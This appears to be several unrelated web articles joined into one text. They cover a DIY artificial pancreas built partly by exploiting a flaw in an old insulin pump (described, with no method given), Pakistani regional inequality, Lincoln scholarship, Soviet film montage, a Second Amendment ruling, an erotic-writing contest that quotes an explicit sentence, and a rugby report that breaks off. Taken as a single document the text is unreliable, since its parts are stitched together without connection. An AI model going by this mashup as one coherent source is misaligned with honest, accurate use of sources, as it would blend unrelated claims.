gotten a CGM in April around the time I started dating Scott, so we had about six months of him watching me use these devices and thinking it was a really stupid way to manage a chronic disease," Lewis said.  Making the alarm on a glucose monitor louder isn't as simple as hooking it up to speakers or transmitting it over Bluetooth. It's like trying to get an alarm on your microwave to sound on your radio.  The breakthrough came in late 2013 when another developer created a way to feed the data off of the glucose monitor and onto a computer. Lewis had always been able to view the data retroactively by uploading files from a USB-like device, but a few new lines of code let Lewis set up a Windows laptop on her nightstand and have the computer instantly read her data and sound the alarms all night long.  "Just shut up everything": An early prototype of the DIYPS shows Dana Lewis' glucose information on the computer. The system let Lewis snooze or input information on the computer screen. On Leibrand's Pebble watch, he could see the basic information on the go. Dana Lewis  They later switched to an iPad with push alerts to notify Leibrand if Lewis had slept through the alarm. If that was the case, he'd drive 20 miles to wake her up. Otherwise, she would click a button to let Leibrand knew she had taken care of it.  "I used to wake up, and I would have been low for hours and hours and hours. That's dangerous and also really frightening," Lewis said. "The immediate benefit was just peace of mind and feeling safe because he had access to my data from afar. If I didn't wake up, he could call me and drive down and check on me."  Push notifications and a louder alarm were just the beginning.  The human guinea pig  Diabetes care has always been a system of trial and error.  For years, Lewis has run the calculations in her head or on a computer of how much insulin she needs. It's a complex math equation involving current blood sugar, activity levels, and whether she's about to eat something.  "What people don't understand is that you're self-dosing insulin 24/7, 365 days a year until the day we get a cure or something else happens," Lewis said. "So people are constantly doing trial and error. Sometimes they're guessing. Sometimes they do tests. Sometimes they don't."  Looking at it from an engineering perspective, Leibrand and Lewis realized it was just an algorithm. They needed the data to train it, and they could get that data from their new alarm system.  "So, being trained as a guinea pig to push these specific buttons, we figured we might as well put in specific commands and say this is exactly what I'm doing: I'm taking insulin, I'm reducing insulin, or I'm eating something, and these are the precise amounts," Lewis said.  As Lewis put in more data, they were able to tweak the algorithm until it got more precise. Still, it took Lewis awhile to trust it, Leibrand said.  "A lot of time people say 'Oh, people with diabetes need to track all this stuff!'" Lewis said. "For the first 11 years, I tracked nothing. I never downloaded my meter. I never logged things."  The original DIYPS, in red, shows how many alarms would go off in the night. When Lewis turned on the closed loop to allow the pump to dose the recommended amounts, the number of alarms fell dramatically. Dana Lewis Leibrand added, "Just like you would figure out how to dose a drug effectively, there's gonna be trial and error in that method. It's just a learning curve of how everyone deals with diabetes."  Soon she was able to put in her blood-glucose levels into the algorithm and get predictions on what her levels would be 30, 60, or 90 minutes out. She could decide if she needed to add more or less insulin — information so valuable that she started taking the system with her during the daytime too.  Initially, Lewis was the safety check herself. If their DIY pancreas system recommended levels too high or too low, she could ignore it and administer what she thought was the correct level. Having self-dosed insulin for more than 11 years, she had an idea of what her body needed.  "There's still a human at the end of the line, making all the decisions, pushing all the buttons, validating that this is what works," Lewis said. "This system actually reduces some of the elements of human laziness because it's going to be precise, really up to date, and it will always work based on available data and not guessing. If you lose an element of data, it will tell you 'I don't have the data to perform this calculation.' That's a lot safer than me just running around doing math in my sleep."  Closing the loop  There wouldn't always be a human at the end of the line, though.  Dana Lewis A year after training the algorithm, Lewis and Leibrand started exploring how the could "close the loop" on their artificial pancreas.  If her blood glucose levels were going too high, the program would instruct the insulin pump to add the recommended insulin level from the algorithm. Lewis wouldn't need to check if that was the correct amount or push the buttons herself — she trusts it.  The only problem was that the DIY pancreas system they had created couldn't give commands to the insulin pump. Whatever it recommended, Lewis still had to push the buttons.  They soon assembled an "artificial pancreas" to manage Lewis' insulin for her.  This isn't a new organ or something inside her body, but a group of electronics that can mimic the functions her pancreas is missing. A Raspberry Pi mini computer takes data from the USB stick and glucose monitor and transfers the recommendation to the insulin pump. It's all online, so Lewis and Leibrand can track it on their watches, although she does have to carry around a stack of electronics.  "We picked August 1 to close the loop because that's our wedding date and because we thought it was funny," Lewis said. "But what was most funny of all is that two weeks later, we got it working."  The one missing piece had been finding a way to command the insulin pump to actually do something. But another engineer had figured out how to exploit a security flaw in an old Medtronic insulin pump that would let someone write commands to it. What the researcher made a big stink of as a cybersecurity scare turned out to be the missing piece for Lewis.  The company had stopped manufacturing the pump, but Lewis found one, and then let the algorithm take over for a night and keep her levels in range.  "The first live test turned into just live using it," Leibrand said. "We didn't actually turn it off after that."  Helping other patients  Like any piece of software, there are always bugs. But delivering the wrong dose of insulin is a bit more serious than a computer game freezing.  A few times, the system hasn't worked. One time it was caught in a loop and reduced her insulin for a period of time, Lewis said. Recently, Leibrand caught the system not updating in the middle of the night. He stayed up debugging a solution with other members of the diabetes community before he was able to reset it.  With the closed loop, Lewis' levels remain in range more and at steadier levels. Here, the system has been running for 12 hours even as Lewis is recovering from jet lag. Dana Lewis "We maybe had two what we would call adverse events with serious concerns like 'that wasn't supposed to happen,'" Lewis said.  "But that's going against like hundreds of bad things that would have happened if we didn't take action," Leibrand added.  To make sure a software glitch doesn't equal death, Leibrand programmed it to have a maximum amount of insulin dispensed in a period. Lewis, too, can always revert to the normal standard of diabetes care if something is wrong with the system.  Her artificial pancreas system is a better normal though, at least for her. Now they want to grow the test beyond one person.  Since February 2015, Leibrand and Lewis have been working on helping others to close the loop, too.  They've built a GitHub repository for the Open Artificial Pancreas System (Open APS) that contains pieces of the code like building blocks (not the full artificial pancreas). Ultimately, the patient has to come up with the algorithm and trust the software before it can be used.  Although there are some closed-loop systems in testing from medical companies, a movement among people with diabetes has spawned Facebook groups and Twitter hashtags to say #Wearenotwaiting. A group of engineers and fathers of children of diabetes created the NightScout project help parents see the glucose levels of their children when they're away at school, for example.  The US Food and Drug Administration is aware of these projects — and none of them are officially approved, although the FDA hasn't taken issue with them either. Lewis and Leibrand are in regular communication with the agency to make sure their work doesn't cross the line of distributing medical devices, but can still help other people with diabetes close the loop and take control of their care.  Scott Leibrand carrying the DIYPS system on their wedding day. Dana Lewis During a trip to Portugal, they found a way to take the system offline and use it without an internet connection — something that would come in handy during their two-week honeymoon.  By the time they reached their wedding day — the deadline for closing the loop — they had already spent eight months trying to help people achieve the same.  Lewis is likely the first person to get married with this type of artificial pancreas. Unlike many insulin-dependent people with diabetes, she didn't have to cut into the lining of her dress to make a pocket for her monitor. It was Leibrand who wore the monitor under his shirt.  "No alarms — no problems," Lewis said. "Diabetes wasn't in the picture during the wedding, and that was exactly how it should be."
-"Escapi­ng the inequa­lity trap is the 21st centur­y’s most critic­al challe­nge," says UNDP Chief Marc Andre  ISLAMABAD: The concentration of public spending is politically driven and only restricted to a few developed districts, which is increasing inequality between the rich and poor regions of Pakistan, said the outgoing chief of United Nations Development Programme, Marc Andre, Tuesday.  “Investment (of public funds) in Lahore, the most developed district of Punjab, is six times more than the allocations of the Seraiki belt of the province,” said Andre, while speaking at a seminar organised to highlight the growing inequality in the country.  Govt’s tight pockets could hamper CPEC project  Politically driven fund allocations, absence of land reforms, anti-poor, pro-rich tax system and privatisation are said to be the key reasons for the growing inequality in Pakistan.  According to Andre, the allocation of fund is a political decision and there were structural problems in the way money was allocated in Pakistan. “A good amount of public fund is allocated to the members of assemblies under political consideration.”  The UNDP Chief’s comments highlight growing frustrations over the way federal and provincial governments have been allocating resources, which, according to experts, is becoming a cause for growing inequality among various districts of the country.  A recent UNDP-funded report revealed that Pakistan’s richest 20% now consumed seven times more than the poorest 20% population due to rising inequality.  The income share of the lowest 20% population has further shrunk to only 6.8% while that of the richest 20% increased to 48.9%.  The report states that 38.8% of Pakistan’s population lives in poverty.  A majority of the rural population (54.6%) lives in acute poverty while this ratio is only 9.4% in urban areas, emphasising the need to make rural-centric economic policies.  Overall budget up but development allocation down  “As much as 80% to 85% of total physical expenditures of the province are incurred in Lahore,” said Dr Akmal Hussain, a renowned economist and social activist.  He said in Punjab, some districts were as well off as any developed country; while some districts are at par with sub-Saharan African countries.  On the human development index (HDI) ranking, Lahore is at number 1 position compared to Rajanpur that ranks 69, Dera Ghazi Khan 64, Muzaffargarh 58 and Bhakkar 51.  Instead of channelling funds to the underdeveloped Seraiki belt districts of Punjab, funds are heavily concentrated in Lahore.  Dr Hussain said the state was becoming an ‘economic apartheid state’ due to concentration of funds in the few already developed districts. “Public policy is the source of growing inequality as it is focused on providing services to the rich.”  Meanwhile, Pakistan Poverty Alleviation Fund Head Qazi Azmat Essa suggested the Planning Commission to devise a mechanism to determine whether the new public sector spending was going to Lahore or southern-Rajanpur district, which is at the bottom of HDI.  “In case of Balochistan, excluding Quetta; the province’s best performing districts are worse than the worst performing districts of Punjab,” said Planning Commission Social Sector Member Dr Naeem-ul-Zafar.  Money sent through illegal channels cannot be traced  However, Punjab Chief Economist Dr Amanullah said that after the publication of the ‘Multidimensional Poverty’ report in June this year, the Punjab government was in the process of formulating a strategy to focus on developing the bottom 10 districts.  “Escaping the inequality trap is the 21st century’s most critical challenge,” said Marc Andre. “The governments have sufficient resources in their hands and the actual issue is proper utilisation of the allocated funds.”  Also present, the economist S Akbar Zaidi suggested the state to distribute its 2.6 million acres of land among peasants to reduce inequality in the country.  Published in The Express Tribune , August 10th, 2016.  Like Business on Facebook, follow @TribuneBiz on Twitter to stay informed and join in the conversation.  Read full story
-In this small show, organized by the curator David C. Ward, images become more powerful than argument. What can be read in Lincoln’s features — of his leadership of the Union, his milestone emancipation of slaves, his rededication of American ideals based on the inalienable rights proclaimed by the Declaration of Independence? Could another figure of his age have done the same?  There is some resemblance between Lincoln and Winston Churchill in Britain in 1941, during the blitz of London. Had Churchill not used his rhetorical gifts to strengthen and unite his citizenry and cabinet, defining the character of their island nation and outlining what was at stake, the course of the 20th century might have been different.  And had Lincoln not, with almost ruthless firmness, taken the ideal of the Union as the highest good and defended it with his own rhetorical gifts, had he not believed — as so few others did — that the stakes were worth the war’s unprecedented horrors and sufferings, then the world’s greatest experiment in self-government would have failed, and questions would have been raised, as Lincoln said, about whether any nation so conceived could long endure.  Photo  I have fallen under the spell of Lincoln, which means that for every book read, there are several lifetimes’ worth of books to follow. It is a field in which there are so many opinions that no one could ever be lonely. I walk around hearing voices — though not, perhaps, the voices that Mary Todd Lincoln sought in White House séances after her 11-year-old son died.  I have been listening to audio books of recent Lincoln works: Fred Kaplan’s “Lincoln: The Biography of a Writer” and Doris Kearns Goodwin’s “Team of Rivals.” I have even tried audio books of Lincoln’s speeches, though I have not heard a speaker do justice to the rhythms and music of those late, condensed orations, like the Gettysburg Address or the Second Inaugural, in which Lincoln strips away all accident and incident, laying out the counterpoint of high principle.  The bicentennial will not allow much silence to intervene for contemplation of this man’s open-minded, sad nobility, but no complaints here.  The historian James Oakes, who is a contributor to Eric Foner’s valuable new anthology, “Our Lincoln: New Perspectives on Lincoln and His World,” has suggested that for a time Lincoln historians paid attention to large, abstract forces, market conditions, abolition movements or other political pressures, but that in recent years attention to Lincoln has again become almost minutely personal.  Advertisement Continue reading the main story  Mr. Foner’s anthology of academic essays strikes a balance between the personal and the abstract, and a daylong conference last month at Mr. Foner’s home base, Columbia University, featured the book’s contributors and was often exhilarating. But Lincoln the man looms largest and is likely to loom larger still with the inauguration of Barack Obama, who, like Lincoln, was once an Illinois state legislator.  Mr. Obama has so identified himself with Lincoln that he invoked him while announcing his candidacy in Lincoln’s onetime political base, Springfield, Ill. He has suggested that his political career has been an extension of the arc of racial progress begun by Lincoln. In Mr. Obama’s victory speech he quoted Lincoln’s First Inaugural Address. The theme of Mr. Obama’s own inauguration will be “A New Birth of Freedom,” an allusion to the Gettysburg Address. And the president-elect has admiringly cited Ms. Goodwin’s “Team of Rivals,” saying he has been influenced by the way Lincoln composed his cabinet.  All of this heightens the relevance of the coming flood of Lincolniana. Coming in January is a much anticipated two-volume biography of Lincoln by Michael Burlingame, drawing on the author’s discoveries of letters and newspaper writings (as well as a lost 1865 eulogy of Lincoln by Frederick Douglass).  Another new biography is imminent from Ronald C. White Jr. Lincoln’s marriage to the manic Mary Todd is the subject of the recent book “The Lincolns” by Daniel Mark Epstein. She is made an even more sympathetic figure in “Mrs. Lincoln” by Catherine Clinton — though Mr. Burlingame’s research will make further rehabilitation much more difficult.  Photo  Mr. Kaplan’s book is a study of Lincoln’s development as a writer. James M. McPherson’s book is about Lincoln’s military prowess, and Harold Holzer’s account is of the months between Lincoln’s election and his taking office in 1861 — months in which Southern secessions began.  Yet another new book, compiled by Philip B. Kunhardt III, Peter W. Kunhardt and Peter W. Kunhardt Jr. (“Looking for Lincoln: The Making of an American Icon”), is an illustrated history of Lincoln’s posthumous image. The Library of America, in “The Lincoln Anthology,” is doing something similar in prose: Mr. Holzer compiles almost 150 years of reactions to Lincoln by writers ranging from Horace Greeley and Nathaniel Hawthorne to E. L. Doctorow and Mr. Obama.  Yet for all the detail, the probing and the analysis, something remains uncanny. If Lincoln had died in 1860, we probably wouldn’t remember him. He had failed to gain much political power during his one term in Congress beginning in 1847; he lost the 1858 election to the Senate; and while he was a diligent party man and lawyer, his legislative track record was not terribly distinguished. He was last out of four Republicans in line to get the party’s nomination in 1860.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  He would have a legacy of a few good speeches and some powerful argument in the debates with his rival, Stephen A. Douglas, but it would have been a career far less influential than that of the antislavery politician of the previous generation whom Lincoln most admired, Henry Clay.  So how is it that, within five years, Lincoln ended up worthy of Secretary of War Edwin M. Stanton’s comment on his death, “Now he belongs to the ages”? The closer you look, combing through these mountains of material, the more ambiguities appear.  Advertisement Continue reading the main story  Beginning in the 1960s, for example, Lincoln’s stature was knocked down a few notches; he had equivocated about some issues for which he is now most admired. In one debate with Douglas, for instance, he was eager to reassure the audience that he had no intention of urging “political and social equality between the white and the black races.”  And at first, ending slavery was not one of Lincoln’s goals in the Civil War. In 1862 Lincoln said in a letter to Greeley that his ambition was to save the Union, which he would do “without freeing any slave” or “by freeing all the slaves” or “by freeing some and letting others alone.” And his grand scheme for freed slaves? Initially they were to be encouraged to migrate to a special colony in Africa.  As for the elegiac prose of his great speeches, where are they anticipated in the many stiff and uninspiring speeches of his earlier life or in his reputation for off-color joviality? Mr. Holzer points out that The New York Daily News mocked the president-elect as an “inveterate old anecdote monger.”  Photo  “Is the precious time of Cabinet Councils to be wasted with stories?” the paper asked. “Will he go down to South Carolina and assuage her wrath” with an anecdote? It is almost as if there were no connections between the lawyer in Springfield and the president in Washington.  Of course, that is an exaggeration. Continuities abound. But what happened is still remarkable. Lincoln had a tragic vision of the world; he grew up surrounded by familial death and disregard; his marriage was difficult; two children died; his career was pockmarked by failures. He suffered greatly but acted as if he had a right not to happiness itself, but only to its pursuit.  As in life, so in government. He believed that political compromise was the motor of democratic life. And the biggest compromises at America’s founding were those involving slavery. It was only by allowing slavery into the Constitution that the Constitution was made possible; it was only by settling for containment rather than elimination that the better angels of early America could even create a United States.  Lincoln, though, rose to the presidency at the very moment when that tragic compromise failed. So in this respect, the flexible politician became an absolutist. There was, in his mind, a fundamental principle that could not be abandoned: the Union. He cleaved fiercely — almost fanatically — to it because it already was a compromise, though one generated out of an ideal toward which the nation would have to move.  That conviction forced him to refine his thinking and discipline his actions. In a debate with Douglas, Lincoln referred to an “eternal struggle between these two principles — right and wrong — throughout the world.” The wrong, he said, was “the divine right of kings.” The right was “the common right of humanity.” The notion of “divine right” left a stain in the form of American slavery; the notion of “common right” was America’s founding principle.  Advertisement Continue reading the main story  Those inalienable rights of humanity could be guaranteed only by something like the Union, so even when it came to abolishing slavery, Lincoln was cautious and protective, hewing strictly to the Constitution, knowing the wrong could be fully undone only with an amendment, but believing, finally, that he could at least, as commander in chief in time of war, free slaves in the rebellious territories. The Emancipation Proclamation is written in stolid, legalistic prose in which all of Lincoln’s rhetorical gifts are shunted aside. That too was done in service to the Union.  Then he was freed to define his larger vision. Andrew Delbanco, in Mr. Foner’s anthology, argues that the Civil War, for all its trauma, was unlike many other wars in that it did not produce a crisis that left the country without a sense of purpose. That is because, he suggests, Lincoln found “transcendent meaning in the carnage” and affirmed that meaning for both sides. He really became another founding father.  Look finally, in the National Gallery, at the Alexander Gardner photograph taken soon after the late-life mask was made, less than two months before Lincoln’s death. A crack shattered the glass plate, its scar running, almost prophetically, across the top of Lincoln’s head. The president’s left eye is in finely etched focus, gazing off in deep introspection, while the rest of the face softens into a gentle blur. Lincoln’s eye, surely, has seen much that haunts him.  But on Lincoln’s mouth are the hints of an enigmatic smile, as if in the closing weeks of the war, Lincoln saw, despite the struggles to come, a sign of what might be. The clarity of his gaze and the promise of his smile remain.
-Between 1908 and 1913, American filmmaker D. W. Griffith made over 400 movies. Over that time, he, along with his fellow Hollywood directors, developed continuity editing. Using such tools as matching eyelines – cutting so that the actors appear to be looking at each other across different shots – and the 180-degree rule – which keeps the actors from switching places on the screen – Griffith and his cohorts created a visual grammar that let audiences forget the film’s artifice and disappear into the story. By the time Griffith released his hugely influential (and hugely racist) masterwork A Birth of A Nation in 1915, the rules of continuity editing had more or less been worked out. This form of storytelling was so successful, and profitable, that it has been used for just about every Hollywood movie that has come out since.  Yet just as these rules were being codified, filmmakers, mostly European, looked for other ways to tell a story. German directors like F. W. Murnau and Robert Wiene experimented with cinematic depictions of the subconscious. French filmmakers like René Clair used camera tricks and odd framing to create works of formal beauty. But it was the filmmakers in the newly formed Soviet Union that really contributed a new way of thinking about film – Soviet Montage. You can watch a video about it above.  When the Bolshevik Revolution washed over the country, the number of films in the USSR dried up. One of the few movies available at VGIK, aka The Moscow Film School, was Griffith’s sprawling Intolerance (watch it online here). Lev Kuleshov, a young teacher there, started to take apart the movie and reorder the images. He discovered that the meaning of a scene was radically changed depending on the order of the shots. This led Kuleshov to try an experiment: he juxtaposed the image of a man with a blank expression with a bowl of soup, a young corpse in a coffin and a pretty girl. You can watch it below.  Invariably, audiences praised the actor for his subtlety of performance. Of course, there was no performance. The connection between the two images was made entirely within the head of the viewer. This realization would forever be commemorated in film schools everywhere as the Kuleshov Effect.  Using the French word for assemble, Kuleshov called this "montage." At the school, however, there was considerable debate over what montage exactly was. One of Kuleshov’s students, Vsevolod Pudovkin envisioned each shot as a brick, one small part that together with other small parts created a cinematic edifice.  Another student, Sergei Eisenstein, proposed a far more dynamic, and revolutionary, form of montage. Eisenstein saw it “as an idea that arises from the collision of independent shots.” An intellectual well versed in theory, Eisenstein compared montage to Karl Marx’s vision of history where a thesis smashes into its antithesis and together, from that wreckage, forms its synthesis.  Eisenstein’s greatest example of montage, and indeed one of the greatest examples of filmmaking ever, is the Odessa Steps scene from his masterpiece Battleship Potemkin. In it, Czarist soldiers massacre a group of protestors, mostly women and children. You can watch it below.  As you can see, it’s a powerful piece of propaganda. There is no way to come away from this movie and not feel like the Czarists are anything but murderous villains. (Nevermind that the movie is wildly inaccurate, historically speaking.) Shots of a grieving mother juxtaposed with images of bayonet wielding troops result in a surprisingly visceral feeling of injustice.  In his writings, Eisenstein outlined the varying types of montage – five kinds in all. The most important, in his eyes, was intellectual montage – a method of placing images together in a way to evoke intellectual concepts. He was inspired by how Japanese and Chinese can create abstract ideas from concrete pictograms. For example, the Japanese symbol for tree is 木. One character for wall is 囗. Put the two together, 困, and you have the character for trouble, because having a tree in your wall is certainly a huge pain in the ass. You can see an example of intellectual montage in the end of the Odessa steps sequence when a stone lion seemingly rises to his feet.  Eisenstein decided to push this idea to the limit with his follow up, October. The movie is deeply strange to watch now. In one famous sequence, Eisenstein compares White Russian general Alexander Kerensky to a peacock and to a cheap Napoleon figurine. It’s proved to be an interesting intellectual exercise but one that left audiences, both then and now baffled.  And below is another, slightly funnier, certainly more contemporary, example of intellectual montage.  Many of the landmark films mentioned above can be found in our collection, 1,150 Free Movies Online: Great Classics, Indies, Noir, Westerns, etc..  Related Content:  Hitchcock on the Filmmaker’s Essential Tool: The Kuleshov Effect  Watch Battleship Potemkin and Other Free Sergei Eisenstein Films  Jean-Luc Godard’s After-Shave Commercial for Schick  Watch Ten of the Greatest Silent Films of All Time — All Free Online  The Filmmaking of Susan Sontag & Her 50 Favorite Films (1977)  Jonathan Crow is a Los Angeles-based writer and filmmaker whose work has appeared in Yahoo!, The Hollywood Reporter, and other publications. You can follow him at @jonccrow. And check out his blog Veeptopus, featuring lots of pictures of vice presidents with octopuses on their heads. The Veeptopus store is here.
-The US Supreme Court on Monday extended the constitutional protection of the Second Amendment’s right to keep and bear arms to every jurisdiction in the nation.  The action places in serious doubt the constitutionality of a handgun ban in Chicago, and sets the stage for more legal challenges to an array of tough gun-control laws across the United States.  The 5-to-4 decision means that in addition to the federal government, state and local governments must comply with the high court’s 2008 landmark ruling recognizing an individual right to possess handguns in the home for self defense.  IN PICTURES: The debate over gun rights  Two years ago, in a decision called District of Columbia v. Heller, the high court struck down a handgun ban in Washington, D.C., ruling that it violated the right of individuals to keep and bear arms.  Because the District of Columbia is a federal enclave – rather than part of a state – the question remained open whether the newly articulated Second Amendment right would apply beyond federal jurisdictions like Washington, D.C., to states and municipalities.  That was the issue in Monday’s case, McDonald v. City of Chicago. Chicago maintains a handgun ban similar to the ban struck down in Washington. But it wasn’t clear from prior Supreme Court precedent whether Second Amendment protections extended to cities and states.  The high court has now made clear that they do.  “We have previously held that most of the provisions of the Bill of Rights apply with full force to both the federal government and the states. Applying the standard that is well established in our case law, we hold that the Second Amendment right is fully applicable to the states,” wrote Justice Samuel Alito for the majority.  A 'fundamental' right  The majority justices said the right to keep a handgun for self-protection in the home is a “fundamental” right, deeply rooted in America’s history and tradition.  Justice Alito quoted England's Sir William Blackstone as asserting that the right to keep and bear arms was “one of the fundamental rights of Englishmen.” He said the American colonists shared that view and decided to protect it.  “The right to keep and bear arms was considered no less fundamental by those who drafted and ratified the Bill of Rights,” Alito said.  In a dissent, Justice John Paul Stevens said the majority opinion overturned more than a century of Supreme Court precedent. “Although the court’s decision in this case might be seen as a mere adjunct to its decision in Heller, the consequences could prove far more destructive – quite literally – to our nation’s communities and to our constitutional structure,” he said.  “Today’s ruling marks a dramatic change in our law,” he said. “I would proceed more cautiously.”  Chicago's handgun ban on tenuous ground  The decision sends the case back to the Seventh US Circuit Court of Appeals in Chicago to reconsider the constitutionality of that city’s handgun ban. In effect, the appeals court judges must apply the same test the high court used to invalidate Washington, D.C.’s handgun ban.  Most legal analysts expect Chicago’s ban to be struck down.  The next major issue will be what legal standard lower court judges should apply when assessing whether a particular gun-control measure violates the Second Amendment.  A plurality of justices offered some guidance. “It is important to keep in mind that Heller, while striking down a law that prohibited the possession of handguns in the home, recognized that the right to keep and bear arms is not a right to keep and carry any weapon whatsoever in any manner whatsoever and for whatever purpose,” Alito wrote.  “We made it clear in Heller that our holding did not cast doubt on such longstanding regulatory measures as ‘prohibitions on the possession of firearms by felons and the mentally ill,’ ‘laws forbidding the carrying of firearms in sensitive places such as schools and government buildings, or laws imposing conditions and qualifications on the commercial sale of arms,’ ” he said.  “We repeat those assurances here,” Alito said. “Despite municipal respondents’ doomsday proclamations, incorporation does not imperil every law regulating firearms.”  'Due process' is basis of majority decision  In extending the Second Amendment to cities and states, the justices declined an invitation by gun rights lawyers to overrule prior legal precedents dating to 1873, 1876, and 1886.  Lawyers for the Second Amendment Foundation had asked the justices to consider relying on the privileges and immunities clause of the 14th Amendment. But that part of the high court’s jurisprudence has remained largely dormant since the 1800s and would have required the court to announce a major shift in the law.  Only one justice, Clarence Thomas, embraced this approach. Nonetheless, Justice Thomas joined the majority in most of its decision and concurred in the result.  Alito’s majority decision relied on the due process clause of the 14th Amendment, the provision most often cited by the Supreme Court when the high court has moved to enforce the protections in the Bill of Rights to the states.  The Bill of Rights was written and adopted as a check on the power of the national government. It was only later that the Supreme Court began enforcing those same rights against state and local governments. For example, state and local governments must respect free speech rights guaranteed in the Constitution, and state and local police must adhere to the privacy protections of the Fourth Amendment.  But the Supreme Court has not applied all of the rights in the Bill of Rights to the states. Some state courts do not recognize a right to a grand jury indictment or a jury trial in certain civil cases. Yet both of those rights are guaranteed in federal court by the Constitution.  On Monday, the high court extended its holdings in this area to declare that the Second Amendment must now be enforced at the state and local levels.  “In Heller we held that the Second Amendment protects the right to possess a handgun in the home for the purpose of self-defense,” Alito said. “A provision of the Bill of Rights that protects a right that is fundamental from an American perspective applies equally to the federal government and the states.”  Alito was joined in the majority opinon by Chief Justice John Roberts and Justices Antonin Scalia, Anthony Kennedy, and Clarence Thomas.  In addition to Stevens, Justice Stephen Breyer wrote a dissent that was joined by Justices Ruth Bader Ginsburg and Sonia Sotomayor.  “The Framers did not write the Second Amendment in order to protect a private right of armed self-defense,” Breyer wrote. “There has been, and is, no consensus that the right is, or was, fundamental,” he said. “No broader constitutional interest or principle supports legal treatment of that right as fundamental. To the contrary, broader constitutional concerns of an institutional nature argue strongly against that treatment.”  IN PICTURES: The debate over gun rights  Related:
-So we are inviting everyone to have a go with a competition! The best story submitted will win a prize of £100 to spend at our site!  With all the current zeitgeist for erotic fiction on the back of 50 shades of Grey, more and more people are starting to have a go at writing short stories themselves. An old girlfriend and I used to write half a story each and text it to each other to finish off, it certainly made getting home lots of fun. Whilst sitting poolside on our holiday, she picked up a book from the book exchange. She had been reading erotica all holiday and had run out so picked up one that somebody had left behind. I’m not sure of the author but in comparison to what she had just read this wasn’t hitting the same spot.  As I was happily reading my book she kept interrupting me with giggles reading out various passages to me. What was making us laugh so much was the language used. Some of the words just didn’t sound erotic or you just wouldn’t use in everyday talk and therefore sounded alien when read from the page.  There was one sentence that was describing a blow job that went something like this :- I gripped his **** in my hand stroking the shaft from tip to base in long deliberate motions, I stopped to sensuously lick the pre cum that glistened on his glans and my sex ached for him.  It was the use of the words ‘my sex’ and ‘glans’ that made it sound unrealistic and made us laugh but then I wondered if other words would put other people off? Words that don’t do it for me are his or her sex, Mons, glans, penis and vagina seem too medical others just silly.  Sylvia Day uses a liberal peppering of the words c*nt and c*ck which personally I like but I know the ‘c’ word is still taboo for many, I used to work with a girl for whom the words ‘moist gusset’ was as bad as swearing. Even panties is weird for some people and lingerie can sound too pretentious.  So what words do it for you? How do you want it laid out for you? Do you want Mills and Boon style euphemisms such as ‘ I felt his passion’ or ‘my heat’ do you want scientific words such as vagina, penis, glans etc or like me would you prefer more honest words such as pussy, clit, c*ck etc?  I guess as always whatever floats your boat is different for each person….  If you would like to enter you need to:-  First register on the main site here (So if you win we can add your credit)  Then use the contact form below to send over your story (email a copy to [email protected])  We will set a minimum of 500 words as a requirement and a maximum of 5000 (not including titles headers and spaces etc)  Don’t be shy and feel free to write in whatever style you like about whatever you like as long as it is not illegal. All entries will be posted on our blog (once we have read them!)  Some brief rules:-  Minimum 500 words Maximum 5000 (does not include titles, spaces etc  The story can be in any style and on any subject as long as it contains some erotic content  Nothing illegal will be considered and will be disqualified  You can write as an individual or as a team with a maximum of 3 writers per team (only one prize will be issued to a team)  The work remains your own but by submitting it you give us the right to post it on our site and affiliated sites  Entries will be posted under the competition tab and we encourage you to read and comment on each others. Please keep it supportive though. All comments will be vetted first and any comments deemed to be abusive or unfairly negative will not be posted  The closing date for entries is the 18 th of April 2014 and the winner will be announced by the 25 th of April 2014. The prize will be immediately available from that date  of April 2014 and the winner will be announced by the 25 of April 2014. The prize will be immediately available from that date Full T’s and C’s here  Let those creative juices flow!  Want to read the entries so far Click Here
-Get the biggest rugby stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Pontypridd overcame the elements and a determined Merthyr side to advance to the semi-finals of the Swalec Cup, running out 6-5 winners at Sardis Road.  The hosts enjoyed the first real attack of the game when they were held up over the Merthyr tryline during the opening exchanges.  A driving maul close to the line was halted by the visitors and Ponty scrum half Lloyd Williams darted towards the line before being dragged down just short by Osian Davies.  The forwards carried it on and powered over the line but referee Craig Evans couldn't see a grounding with bodies everywhere.  Both teams struggled to get a foothold in the game with the rain lashing down, before the kicking game of Merthyr fly-half Dean Gunter began causing problems for the Pontypridd back three.  Watch: The awful conditions during Pontypridd v Merthyr  Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now  Recap:  Merthyr enjoyed plenty of territory with their Premiership side persistently infringing and the visitors were soon in front.  With the half hour mark approaching, a powerful driving maul charged through the Pontypridd defence and Osian Davies was the man with the ball in his hands at the bottom of the pile.  The hosts responded with a penalty from Ceri Sweeney with six minutes remaining in the half, but it was the Championship side who went in leading at the break.  A change of kit was required for the hosts at half time with both sets of players trudging off caked in mud.  Referee Evans must have been considering whether or not the game could continue with standing water all over the field.  But out they came for the second 40 and captain Dafydd Lockyer soon had the home support cheering.  (Image: Huw Evans Agency)  More:  His scything break was eventually ushered into touch but the hosts would go on to enjoy a sustained spell of possession in the Merthyr half.  After missing an earlier shot at goal, Sweeney sorted his radar out to boot the hosts into the lead midway through the second half after former Pontypridd second row Craig Locke was pinged for going offside.  The visitors missed a big opportunity in the final 10 minutes when Pontypridd coughed the ball up in attack.  The ball was hacked through and Merthyr winger Terri Gee was racing after it, but he couldn't control it and the chance went begging.  Former Pontypridd fly-half Dean Gunter had a kick to win it late on, but struggled to get any purchase on it, kicking out of a puddle.  The visitors didn't go down without a fight and, but for a handful of missed penalties, they would have come away with the win.  But, in the final play, they coughed the ball up deep in the Pontypridd 22 and that was it.  Pontypridd advance in the cup, but only just.  Attendance: 4,800  Pontypridd  Tries:  Cons  Penalties: Ceri Sweeney (2)  Matthew Nuthall; Chris Clayton, Geraint Walsh, Dafydd Lockyer, Alex Webber; Ceri Sweeney, Lloyd Williams; Chris Phillips, Huw Dowden, Keiron Assiratti; Hemi Barnes, Owen Sheppeard; Jake Thomas, Rhys Shellard, Dan Godfrey  Replacement: Joel Raikes, Lewis K Williams, Bradley Coombes, Ashleigh James, Wayne O'Connor, Shaun O'Rourke, Jordan Grass, Corey Domachowski.  Merthyr  Tries: Osian Davies (27)  Cons:  Penalties:  Matthew Jarvis; 